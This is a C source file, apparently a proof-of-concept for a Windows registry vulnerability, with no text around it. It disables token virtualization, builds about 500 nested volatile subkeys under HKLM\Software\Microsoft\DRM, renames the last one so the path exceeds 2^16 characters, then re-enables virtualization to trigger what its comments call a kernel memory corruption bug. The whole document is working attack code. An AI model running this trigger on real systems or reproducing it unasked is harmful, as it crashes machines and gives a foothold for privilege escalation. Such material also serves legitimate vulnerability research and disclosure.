#include #include BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) { DWORD dwVirtualizationEnabled = bEnabled; if (!SetTokenInformation(hToken, TokenVirtualizationEnabled, &dwVirtualizationEnabled, sizeof(dwVirtualizationEnabled))) { printf("SetTokenInformation failed with error %u\n", GetLastError()); return FALSE; } return TRUE; } int main(int argc, char** argv) { // // Open the current process token and disable virtualization for now. // HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { printf("OpenProcessToken failed with error %u\n", GetLastError()); return 1; } EnableTokenVirtualization(hToken, FALSE); // // Open an initial key. // HKEY hkey; LONG dwRes = RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\DRM\\A", 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, NULL); if (dwRes != ERROR_SUCCESS) { printf("RegCreateKeyEx failed with error %d\n", dwRes); return 1; } printf("Root key successfully opened\n"); // // Initialize registry paths. // CONST SIZE_T kSpraySubKeyLength = 64; WCHAR wchSpraySubKeyName[kSpraySubKeyLength + 1]; for (SIZE_T i = 0; i < kSpraySubKeyLength; i++) { wchSpraySubKeyName[i] = L'A'; } wchSpraySubKeyName[kSpraySubKeyLength] = L'\0'; CONST SIZE_T kFinalSubKeyLength = 255; WCHAR wchFinalSubKeyName[kFinalSubKeyLength + 1]; for (SIZE_T i = 0; i < kFinalSubKeyLength; i++) { wchFinalSubKeyName[i] = L'A'; } wchFinalSubKeyName[kFinalSubKeyLength] = L'\0'; // // Create 500 nested subkeys to get the registry path length close to 2^16. // HKEY hsubkey; for (int i = 0; i < 500; i++) { dwRes = RegCreateKeyEx(hkey, wchSpraySubKeyName, 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hsubkey, NULL); if (dwRes != ERROR_SUCCESS) { printf("RegCreateKeyEx failed with error %d\n", dwRes); return 1; } RegCloseKey(hkey); hkey = hsubkey; } printf("Nested subkeys successfully created\n"); // // Create the final subkey that will be subject to virtualization. // dwRes = RegCreateKeyEx(hkey, L"A", 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hsubkey, NULL); if (dwRes != ERROR_SUCCESS) { printf("RegCreateKeyEx failed with error %d\n", dwRes); return 1; } printf("Final subkey successfully created\n"); // // Rename the final subkey to get the overall path length over the 2^16 // threshold. // dwRes = RegRenameKey(hkey, L"A", wchFinalSubKeyName); if (dwRes != ERROR_SUCCESS) { printf("RegRenameKey failed with error %d\n", dwRes); return 1; } printf("Final subkey successfully renamed\n"); // // Enable virtualization and try to open the final key, triggering the path // translation code and the memory corruption bug. // EnableTokenVirtualization(hToken, TRUE); dwRes = RegCreateKeyEx(hkey, wchFinalSubKeyName, 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hsubkey, NULL); if (dwRes != ERROR_SUCCESS) { printf("RegCreateKeyEx failed with error %d\n", dwRes); return 1; } return 0; }